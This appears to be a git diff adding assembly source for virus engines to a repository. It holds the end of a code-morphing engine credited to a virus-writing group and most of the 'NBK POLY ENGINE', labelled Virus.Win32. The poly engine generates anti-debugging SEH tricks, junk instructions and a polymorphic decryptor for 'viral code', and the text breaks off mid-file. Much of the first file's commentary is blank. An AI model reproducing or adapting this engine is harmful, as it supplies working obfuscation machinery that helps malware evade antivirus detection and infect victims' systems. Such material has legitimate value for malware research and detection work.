10.05.2008 : +; x0man [VirusTech] : +; http://www.virustech.org : +;-----------------------------------------------------------------------------------------: + + .386 + .model flat, stdcall + option casemap :none + + include \MASM32\INCLUDE\windows.inc + include \MASM32\INCLUDE\kernel32.inc + include \MASM32\INCLUDE\user32.inc + + includelib \MASM32\LIB\kernel32.lib + includelib \MASM32\LIB\user32.lib + +; ######################################################################### + +_OPCODE struct + dwOldAddress dd ? ; ( ) + dwNewAddress dd ? ; ( ) + dwJumpAddress dd ? ; ( ) + ; ( ) + dwLength dd ? ; + ; :) +_OPCODE ends + +; ######################################################################### + +.code + +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +; :) +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +test_code: + @@: + jmp @F + mov eax, edx + pop eax + push eax + call @F + cmp eax, 0 + jne @B + jmp @B + add ecx, edx + add eax, edx + xchg edx, ecx + call @B + jne @F + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + jne @B + ret + @@: + ret + int 3 +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + + + + +;:::::::::::::::::::::::::::::::::: +; +include Catchy32\Catchy32.inc + + + +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; , | +; : dwCurrentAddress - | +; | +; 00000000: 74 30 JE imm8 | +; "imm8" | +; imm8 = 00000000 + 30 + 2 = 00000032 | +; .. | +; 00000000 - | +; 30 - | +; 2 - JE imm8 | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; 00000000: 74 30 JE 00000032 --. | +; 00000002: | | +; | | +; 00000032: <----- | +; "" | +; , | +; ;-) | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::| +; IN dwCurrentAddress : | +; OUT EAX : | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +get_jump_address proc dwCurrentAddress : DWORD + + push ecx + push edi + + mov edi, dwCurrentAddress + mov al, byte ptr [edi] + + ;::::::::::::::::::::::::::::::::::::: + ; XX imm8 + cmp al, 070h + jl @F + cmp al, 07Fh + jna @_jump_imm8_ + +@@: + ;::::::::::::::::::::::::::::::::::::: + cmp al, 0EBh + je @_jump_uncond_imm8_ + ;::::::::::::::::::::::::::::::::::::: + ; 0F XX imm32 + cmp al, 00Fh + jne @F + mov ah, byte ptr [edi + 1] + cmp ah, 080h + jl @F + cmp ah, 08Fh + jna @_jump_imm32_ + ;::::::::::::::::::::::::::::::::::::: + +@@: + ;::::::::::::::::::::::::::::::::::::: + ; JMP imm32 + cmp al, 0E9h + je @_jump_uncond_imm32_ + + + ;::::::::::::::::::::::::::::::::::::: + ; CALL + cmp al, 0E8h + je @_call_imm32_ + + + ;::::::::::::::::::::::::::::::::::::: + jmp @_exit_ + ;::::::::::::::::::::::::::::::::::::: + +@_jump_imm8_: +@_jump_uncond_imm8_: + ;::::::::::::::::::::::::::::::::::::: + ; + movzx eax, byte ptr [edi + 1] + mov cl, al + test cl, 10000000b ; isNegative? + + jnz @_neg_1 + add edi, eax + add edi, 2 + xchg eax, edi + jmp @_exit_ + + @_neg_1: + neg al + sub al, 2 + sub edi, eax + xchg eax, edi + jmp @_exit_ + + +@_jump_imm32_: + ;::::::::::::::::::::::::::::::::::::: + ; + mov eax, dword ptr [edi + 2] + mov ecx, eax + shr ecx, 24d + test ecx, 10000000b ; isNegative? + + jnz @_neg_2 + add eax, edi + add eax, 6 + jmp @_exit_ + + @_neg_2: + neg eax + sub eax, 6 + sub edi, eax + xchg eax, edi + jmp @_exit_ + ;::::::::::::::::::::::::::::::::::::: + + + +@_jump_uncond_imm32_: +@_call_imm32_: + ;::::::::::::::::::::::::::::::::::::: + ; JMP imm32 & CALL imm32 + mov eax, dword ptr [edi + 1] + mov ecx, eax + shr ecx, 24d + test ecx, 10000000b ; isNegative? + + jnz @_neg_3 + add edi, eax + add edi, 5 + xchg eax, edi + jmp @_exit_ + + @_neg_3: + neg eax + sub eax, 5 + sub edi, eax + xchg eax, edi + ;/////////////////////////////////////// +@_exit_: + + pop edi + pop ecx + + ret +get_jump_address endp + + +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; | +; .... | +; | +; IN dwAddress - | +; IN pOpcodes - | +; OUT EAX - ... | +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD + push ecx + + assume ecx : ptr _OPCODE + mov ecx, pOpcodes + mov eax, dwAddress + + @@: + cmp [ecx].dwOldAddress, eax + je @F + add ecx, sizeof _OPCODE + cmp [ecx].dwOldAddress, 0 + jne @B + xor eax, eax + @@: + mov eax, [ecx].dwNewAddress + + pop ecx + ret +get_new_jump_address endp + + +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; , NOP | +; ! 0CCh | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; IN dwCodeAddress - | +; IN dwOutputBuffer - | +; OUT EAX - | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD +local pOpcodes : DWORD +local dwTotalCodeSize : DWORD + + ;:::::::::::::::::::::::::::::::::::::::::::::::::: + ; pOpcodes - :: + ; dwOutputBuffer - :: + ;:::::::::::::::::::::::::::::::::::::::::::::::::: + + ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::: + ; + invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE + mov pOpcodes, eax + + ;:::::::::::::::::::::::::::::::::::::::::::: + ; + ; + push 0 + pop dwTotalCodeSize + + ;::::::::::::::::::::::::::::::::::::::::: + ; + assume ecx : ptr _OPCODE + mov esi, dwCodeAddress ; Code Address + mov edi, dwOutputBuffer ; New Code Address + mov ecx, pOpcodes ; array of _OPCODES + ;:::::::::::::::::::::::::::::::::::::::: + + + +;:::::::::::::::::::::::::::::::::::::::: +; ::::::::::::::::::::::::::: +;:::::::::::::::::::::::::::::::::::::::: + + ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + ; EDI + mov [ecx].dwNewAddress, edi + + ;:::::::::::::::::::::::::::::::::::: + ; + ; Loop 1 + @_loop_1: + + ;:::::::::::::::::::::::::::::::::::: + ; + ; IN ESI == Current Code Offset + ; OUT EAX == Instruction Length + call c_Catchy + + ;::::::::::::::::::::::::::::::::::::: + ; + mov [ecx].dwOldAddress, esi + mov [ecx].dwLength, eax + + ;:::::::::::::::::::::::::::::::::::: + ; + ; 00Fh + ; +10h + ; : + ; :00000000: 74 30 + ; 0F +10 30 00 00 00 + ; :00000000: 0F 84 30 00 00 00 + cmp byte ptr [esi], 070h + jl @F + cmp byte ptr [esi], 07Fh + ja @F + push eax + mov al, 00Fh + stosb + + movzx eax, byte ptr [esi] + add eax, 10h + stosd + + ;::::::::::::::::::::::::::::::::::::::: + ; + push esi + call get_jump_address + + ;:::::::::::::::::::::::: + ; + mov [ecx].dwJumpAddress, eax + + pop eax + + ;:::::::::::::::::::::::::::::::::::: + ; + ; 00Fh XXh imm32, .. 6 + ; XX [80h..8Fh] + add dwTotalCodeSize, 6 + ;:::::::::::::::::::::::::::::::::::: + ; + ; + jmp @_next_inst_ + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; ... + ; JMP imm8 -> JMP imm32 + ; + ; : 00000000: EB 33 + ; : 00000000: E9 33 00 00 00 + cmp byte ptr [esi], 0EBh + jne @F + push eax + + mov al, 0E9h + stosb + xor eax, eax + stosd + + ;::::::::::::::::::::::::::::::::::::::: + ; + push esi + call get_jump_address + + ;:::::::::::::::::::::::: + ; + mov [ecx].dwJumpAddress, eax + + pop eax + ;::::::::::::::::::::::::::::::: + ; + ; E9 imm32, .. 5 + add dwTotalCodeSize, 5 + jmp @_next_inst_ + ;:::::::::::::::::::::::::::::::::::: + + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; JMP imm32 + cmp byte ptr [esi], 0E9h + jne @F + + push eax + push esi + call get_jump_address + mov [ecx].dwJumpAddress, eax + pop eax + jmp @_replace_instr_ + ;:::::::::::::::::::::::::::::::::::: + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; CALL + cmp byte ptr [esi], 0E8h + jne @F + + push eax + push esi + call get_jump_address + mov [ecx].dwJumpAddress, eax + pop eax + jmp @_replace_instr_ + ;:::::::::::::::::::::::::::::::::::: + + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; 00Fh XX imm32 + cmp byte ptr [esi], 00Fh + jne @F + cmp byte ptr [esi + 1], 080h + jl @F + cmp byte ptr [esi + 1], 08Fh + ja @F + push eax + push esi + call get_jump_address + mov [ecx].dwJumpAddress, eax + pop eax + ;:::::::::::::::::::::::::::::::::::: + + @@: + +@_replace_instr_: + ;:::::::::::::::::::::::::::::::::::::::::: + ; . + ; + ; + push esi + push ecx + + mov ecx, eax + rep movsb + + pop ecx + pop esi + + ; + ; + add dwTotalCodeSize, eax + + ;:::::::::::::::::::::::::::::::::::: + ; +@_next_inst_: + ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + ; NOP + ; + ; "" + ; : + ;-------------- + ; push eax + ; pop eax + ;-------------- + ; mov eax, eax + ;-------------- + ; .. + push eax + mov al, 90h + stosb + pop eax + + ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + ; 1 ( NOP) + ; "" + ; dwTotalCodeSize (!) + add dwTotalCodeSize, 1 + + ;:::::::::::::::::::::::::::::::::::: + ; + add esi, eax + + ;:::::::::::::::::::::::::::::::::::: + ; + ; + add ecx, sizeof _OPCODE + + ;:::::::::::::::::::::::::::::::::::: + ; + mov [ecx].dwNewAddress, edi + + + ;:::::::::::::::::::::::::::::::::::: + ; int 3 + ; .... + ; . + cmp byte ptr [esi], 0CCh + jne @_loop_1 + ; End Loop 1 + ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + + ;:::::::::::::::::::::::::::::::::::: + ; + mov [ecx].dwOldAddress, 0 + + + + +;:::::::::::::::::::::::::::::::::::::::: +; ::::::::::::::::::::::::::: +;:::::::::::::::::::::::::::::::::::::::: + mov ecx, pOpcodes + @_loop_2: + ;:::::::::::::::::::::::::::::::::::::::: + ; + ; dwJumpAddress != 0 (!) + cmp [ecx].dwJumpAddress, 0 + je @F + ;:::::::::::::::::::::::::::::::::::::::: + ; + ; + push pOpcodes + push [ecx].dwJumpAddress + call get_new_jump_address + + ;:::::::::::::::::::::::::::::::::::::::: + ; . + ; + ; EAX ( dwCodeAddress ) + ; + ; 2 , + ; :))) + cmp eax, 0 + je @F + ;:::::::::::::::::::::::::::::::::::::::: + + ;:::::::::::::::::::::::::::::::: + ; + ; + mov edx, [ecx].dwNewAddress + ;::::::::::::::::::::::::: + ; + ; 00Fh XXh imm32 + cmp byte ptr [edx], 00Fh + je @_0F_XX_imm32 + ;::::::::::::::::::::::::::: + ; + ; JMP imm32 + cmp byte ptr [edx], 0E9h + je @_XXX_imm32_ + ;:::::::::::::::::::::: + ; (CALL imm32) + cmp byte ptr [edx], 0E8h + je @_XXX_imm32_ + ;:::::::::::::::::::::: + jmp @F + + ;:::::::::::::::::::::::::::::::::::::: + ; 00Fh XXh imm32 + ; imm32 + ; [ + 2] + ; : + ; 00Fh 84 imm32 ; JE imm32 + ; 00Fh 85 imm32 ; JNE imm32 +@_0F_XX_imm32: + cmp eax, [ecx].dwNewAddress + jle @_less_or_equal_1 + push eax + sub eax, [ecx].dwNewAddress + sub eax, 6 + mov edx, [ecx].dwNewAddress + mov dword ptr [edx + 2], eax + pop eax + jmp @F + + @_less_or_equal_1: + push eax + mov edx, [ecx].dwNewAddress + sub edx, eax + neg edx + sub edx, 6 + mov eax, [ecx].dwNewAddress + mov dword ptr [eax + 2], edx + pop eax + jmp @F + + ;::::::::::::::::::::::::::::::::::::::::::::: + ; imm32 JMP CALL + ; , + ; + ; imm32 [ + 1] + ; : + ; E9 imm32 + ; E8 imm32 + ; :) +@_XXX_imm32_: + cmp eax, [ecx].dwNewAddress + jle @_less_or_equal_2 + push eax + sub eax, [ecx].dwNewAddress + sub eax, 5 + mov edx, [ecx].dwNewAddress + mov dword ptr [edx + 1], eax + pop eax + jmp @F + + @_less_or_equal_2: + push eax + mov edx, [ecx].dwNewAddress + sub edx, eax + neg edx + sub edx, 5 + mov eax, [ecx].dwNewAddress + mov dword ptr [eax + 1], edx + pop eax + jmp @F + ;:::::::::::::::::::::::::::::::::::::::: + + + @@: + ;:::::::::::::::::::::::::::::: + ; + ; :) + add ecx, sizeof _OPCODE + + ;::::::::::::::::::::::::::::::::::::: + ; + ; + ; dwOldAddress + cmp [ecx].dwOldAddress, 0 + jne @_loop_2 + + ;:::::::::::::::::::::::::::::::::::::::: + ; + invoke VirtualFree, pOpcodes, NULL, MEM_RELEASE + + @_exit_: + + mov eax, dwTotalCodeSize + ret +MorphCode endp + +.data + ; + dwOutputBuffer dd 0 + + ; + dwOutputBufferSize dd 0 + + ; - + dwBytesWritten dd 0 + + ; + szFileName db 'morphed_code_dump_raw.bin',0 + + ; MessageBoxA + szComplete db 'Complete! :)', 0 +.code + +start: + + ;::::::::::::::::::::::::::::::::::::::::::::::::::::: + ; + ; + ; - + invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE + mov dwOutputBuffer, eax + + ;:::::::::::::::: + ; ..... + invoke MorphCode, offset test_code, dwOutputBuffer + mov dwOutputBufferSize, eax + + ;:::::::::::::::::::::::::::::::: + ; + invoke CreateFile, offset szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0 + push eax + invoke WriteFile, eax, dwOutputBuffer, dwOutputBufferSize, addr dwBytesWritten, NULL + call CloseHandle + + ;::::::::::::::::: + ; + invoke VirtualFree, dwOutputBuffer, NULL, MEM_RELEASE + + ;::::::::::::::::: + ; :) + invoke MessageBoxA, 0, offset szComplete, 0, MB_ICONINFORMATION + + ;::::::::::::::::: + ; ) + xor eax, eax + ret +end start + +; ######################################################################### diff --git a/Engines/Virus.Win32.NBKPE.txt b/Engines/Virus.Win32.NBKPE.txt new file mode 100644 index 00000000..f600cbb8 --- /dev/null +++ b/Engines/Virus.Win32.NBKPE.txt @@ -0,0 +1,1171 @@ +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; NBK POLY ENGINE * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +engine: + +; entry: +; esi = offset 2 viral code +; edi = offset 2 put code (virus size + 700 bytes, at least) +; ebx = RVA + Image Base of edi +; ecx = size of viral code in 'dwords' + +pushad ; + +mov dword ptr [ebp+ofsvir],esi; +mov dword ptr [ebp+len],ecx ; +mov [ebp+_RVA],ebx ; Save RVA +mov [ebp+all_ini],edi ; Save initial pointer + ; (runtime offsets) + ; +xor dl,dl ; erase some flags +xor bl,bl ; + ; +call SEH ; SEH :-) + ; +call CRYPT ; POLY decryptor + +popad +ret + + +SEH proc + +pushad + +; 1) push offset 6 +; 2) xor ebx,ebx +; edx,edx +; eax,eax +; 3) push dword ptr fs:[0] ;6467FF360000 +; fs:[eax] ;64FF30 - 48D +; fs:[ebx] ;64FF33 - 51D +; fs:[edx] ;64FF32 - 50D +; 4) mov dword ptr fs:[0],esp ;646789260000 +; fs:[eax] ;648920 - 32D +; fs:[ebx] ;648923 - 35D +; fs:[edx] ;648922 - 34D +; 5) int 03h +; 6) untrace +; 7) mov esp,dword ptr [esp+8] +; 8) xor ebx,ebx +; edx,edx +; eax,eax +; 9) pop dword ptr fs:[0] +; fs:[ebx] +; fs:[edx] +; fs:[eax] +; 10) add esp,4 + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; CHOOSE REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +@@1: ; +in al,40H ; +cmp al,0C0H ; eax = 192 = 48 +je put_reg ; +cmp al,0DBH ; ebx = 219 = 51 +je put_reg ; +cmp al,0D2H ; edx = 210 = 50 +je put_reg ; +cmp al,00H ; no reg ? +je put_reg ; +jmp @@1 ; +put_reg: ; +mov byte ptr [ebp+xor_reg],al ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +call chg_garble + +mov [ebp+ofs ini_SEH],edi + +@@30: + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; PUSH mem PUSH reg * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +in al,40H ; +and al,0001b ; +jz @@21 ; + ; +mov al,68H ; generate PUSH +stosb ; + ; +mov [ebp+ofs off1],edi ; Save this offset +xor eax,eax ; +stosd ; + ; +jmp short @@22 ; + ; +@@21: ; + ; +call mov_reg ; +sub al,08H ; +stosb ; +push eax ; +mov [ebp+ofs off1],edi ; +xor eax,eax ; +stosd ; +pop eax ; +add al,08H ; +mov dl,99H ; +mov bl,99H ; +call push_pop ; +xor dl,dl ; +xor bl,bl ; + ; +@@22: ; + ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +call chg_garble + +@@31: + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; XOR ? SUB -> REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov bl,byte ptr [ebp+xor_reg] ; +or bl,bl ; +jz @@2 ; + ; +in al,40H ; +and al,0001H ; +jz @@19 ; + ; +mov al,33H ; XOR +stosb ; + ; +jmp short @@20 ; + ; +@@19: ; + ; +mov al,2BH ; SUB +stosb ; + ; +@@20: ; + ; +mov al,bl ; +stosb ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +@@2: + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; PUSH DWORD PTR FS:[]* +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +mov al,64H +stosb + +mov bl,byte ptr [ebp+xor_reg] +or bl,bl +jz @@3 + +mov al,0FFH +stosb + +mov al,bl + +cmp al,0C0H ; eax +je @@4 + +cmp al,0DBH ; ebx +je @@5 + +cmp al,0D2H ; edx +je @@6 + +jmp short $ + +@@3: ; 67FF360000 fs:[0] +mov eax,0036FF67H +stosd +xor al,al + +@@7: + +mov cl,al ; Save this reg in cl +stosb +jmp @@8 + +@@4: + +mov al,30H +jmp @@7 + +@@5: + +mov al,33H +jmp @@7 + +@@6: + +mov al,32H +jmp @@7 + +@@8: + +;call chg_garble ; error + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; MOV DWORD PTR FS:[?],esp* +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +mov al,64H +stosb + +mov bl,byte ptr [ebp+xor_reg] +or bl,bl +jz @@9 ; no regs + +mov al,89H +stosb + +mov al,cl ; Get used reg +sub al,10H ; ... +jmp @@10 + +@@9: + +mov eax,00268967H ; 6789260000 +stosd + +xor al,al + +@@10: + +stosb + +call chg_garble + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; EXCEPTION * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov al,0CCH ; int 03H +stosb ; + ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +call chg_garble + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; UNTRACE * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov al,0E9H ; +stosb ; + ; +call rnd ; +stosd ; + ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +call chg_garble + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; MOV ESP,DWORD PTR [ESP+08]* +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov [ebp+ofs off6],edi ; + +call chg_garble + +mov al,08BH ; +stosb ; +in al,40H ; +and al,0001b ; +jz @@23 ; +mov ax,2464H ; 642408 +stosw ; +mov al,08H ; +stosb ; +jmp short @@29 ; +@@23: ; +call mov_reg ; +push eax +cmp al,0C0H +je @@24 +cmp al,0C1H +je @@25 +cmp al,0C2H +je @@26 +cmp al,0C3H +je @@27 +jmp short $ +@@24: +mov al,44H +jmp @@28 +@@25: +mov al,4CH +jmp @@28 +@@26: +mov al,54H +jmp @@28 +@@27: +mov al,5CH +@@28: +stosb +mov ax,0824H +stosw +mov al,8BH +stosb +pop eax +add al,20H +stosb +@@29: + ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +call chg_garble + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; XOR ? SUB -> REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov bl,byte ptr [ebp+xor_reg] ; +or bl,bl ; +jz @@11 ; + ; +in al,40H ; +and al,0001H ; +jz @@16 ; + ; +mov al,33H ; XOR +stosb ; + ; +jmp short @@18 ; + ; +@@16: ; + ; +mov al,2BH ; SUB +stosb ; + ; +@@18: ; + ; +mov al,bl ; +stosb ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; POP DWORD PTR FS:[?]* +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +@@11: ; + ; +mov al,64H ; +stosb ; + ; +or bl,bl ; +jz @@12 ; + ; +mov al,8FH ; +stosb ; + ; +mov al,cl ; +sub al,30H ; +jmp @@13 ; + ; +@@12: ; + ; +mov eax,00068F67H ; 678F060000 +stosd ; + ; +xor al,al ; +@@13: ; +stosb ; + ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +call chg_garble + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; ADD ESP,4 * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +in al,40H ; +and al,0001H ; +jz @@14 ; + ; +mov ax,0C483H ; +stosw ; + ; +mov al,04H ; +stosb ; + ; +jmp short @@15 ; + ; +@@14: ; + ; +mov ax,0EC83H ; +stosw ; + ; +mov al,0FCH ; +stosb ; + ; +@@15: ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +call chg_garble + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +;mov [ebp+ofs wahoo],edi ; + ; +mov eax,[ebp+ini_SEH] ; +sub eax,[ebp+all_ini] ; +mov edx,eax ; + ; +mov eax,[ebp+off6] ; +sub eax,[ebp+off1] ; + ; +mov ebx,[ebp+_RVA] ; +add ebx,edx ; +add ebx,eax ; +add ebx,3 ; + ; +mov eax,[ebp+ofs off1] ; +mov [eax],ebx ; + ; +mov dr0,edi ; +popad ; +mov edi,dr0 ; +ret ; + ; +ini_SEH dd 0 ; +;wahoo dd 0 ; +;siz dd 0 ; +off1 dd 0 ; +off6 dd 0 ; +all_ini dd 0 ; +xor_reg db 0 ; +_RVA dd 0 ; +len dd 0 ; +ofsvir dd 0 ; + ; +SEH endp ; + ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; GARBAGE GENERATOR * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +garbage proc ; + ; +push eax ; +push esi ; +xor eax,eax ; +in al,40H ; +and al,0001b ; +jz @@1 ; +in al,40H ; +not al ; +jmp short @@2 ; +@@1: ; +in al,40H ; +@@2: ; +and al,00111100b ; +lea esi,[ebp+ofs GARBAGE_TABLE0] +add esi,eax ; +mov esi,dword ptr [esi] ; +add esi,ebp ; +call esi ; +pop esi ; +pop eax ; +ret ; + ; +garbage endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; GARBAGE GENERATOR * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +garbage1 proc ; +push eax ; +push esi ; +xor eax,eax ; +in al,40H ; +and al,1100b ; +lea esi,[ebp+ofs GARBAGE_TABLE1] +add esi,eax ; +mov esi,dword ptr [esi] ; +add esi,ebp ; +call esi ; +pop esi ; +pop eax ; +garbage1 endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; GARBAGE TABLE 0 * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +GARBAGE_TABLE0: ; + ; +dd ofs mov_eax ; +dd ofs mov_ah ; +dd ofs add_al ; +dd ofs sub_ebx ; +dd ofs shl_reg_cl ; +dd ofs xchg_edx ; +dd ofs or_reg_reg ; +dd ofs push_pop ; +dd ofs test_eax ; +dd ofs xor_reg_num ; +dd ofs jump ; +dd ofs neg_reg ; +dd ofs adc_reg ; +dd ofs adc_reg_num ; +dd ofs and_reg_num ; +dd ofs bt_reg_reg ; + ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; GARBAGE TABLE 1 * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +GARBAGE_TABLE1: ; preserv regs + ; +dd ofs jump ; +dd ofs mov_dr0 ; +dd ofs cmp_eax ; +dd ofs test_eax ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; CHG_GARBLE * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +chg_garble proc ; +push eax ; +call garbage ; +in al,40H ; +and al,0001b ; +jnz @@38 ; +call garbage ; +in al,40H ; +and al,0001b ; +jz @@38 ; +call garbage ; +call garbage ; +in al,40H ; +and al,0001b ; +jz @@37 ; +@@38: ; +call garbage ; +@@37: ; +pop eax ; +ret ; +chg_garble endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; CHG_GARBLE * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +chg_garble1 proc ; +push eax ; +call garbage1 ; +in al,40H ; +and al,0001b ; +jnz @@38 ; +call garbage1 ; +in al,40H ; +and al,0001b ; +jz @@38 ; +call garbage1 ; +call garbage1 ; +in al,40H ; +and al,0001b ; +jz @@37 ; +@@38: ; +call garbage1 ; +@@37: ; +pop eax ; +ret ; +chg_garble1 endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; MOV EAX, ? * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov_eax proc ; +push eax ; +in al,40H ; +and al,0001b ; +jz @@1 ; +mov al,8BH ; +cmp byte ptr [edi-2],al ; +je @@1 ; +stosb ; +call mov_reg ; +stosb ; +jmp @@2 ; +@@1: ; +mov al,0B8H ; +cmp byte ptr [edi-5],al ; +je @@2 ; +stosb ; +call rnd ; +stosd ; +@@2: ; +pop eax ; +ret ; +mov_eax endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; AL = C0, C1, C2, C3 * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov_reg proc ; +@@1: ; +in al,40H ; +cmp al,0C0H ; +je @@2 ; +cmp al,0C1H ; +je @@2 ; +cmp al,0C2H ; +je @@2 ; +cmp al,0C3H ; +je @@2 ; +jmp @@1 ; +@@2: ; +ret ; +mov_reg endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; MOV AH,?? * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov_ah proc ; +push eax ; +mov al,0B4H ; +cmp byte ptr [edi-2],al ; +je @@1 ; +stosb ; +in al,40H ; +stosb ; +@@1: ; +pop eax ; +ret ; +mov_ah endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; ADD AL,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +add_al proc ; +push eax ; +mov al,2 ; +stosb ; +call mov_reg ; +stosb ; +@@1: ; +pop eax ; +ret ; +add_al endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; SUB EBX,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +sub_ebx proc ; +push eax ; +mov al,2BH ; +stosb ; +call mov_reg ; +add al,18H ; +stosb ; +@@1: ; +pop eax ; +ret ; +sub_ebx endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; XCHG EDX,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; 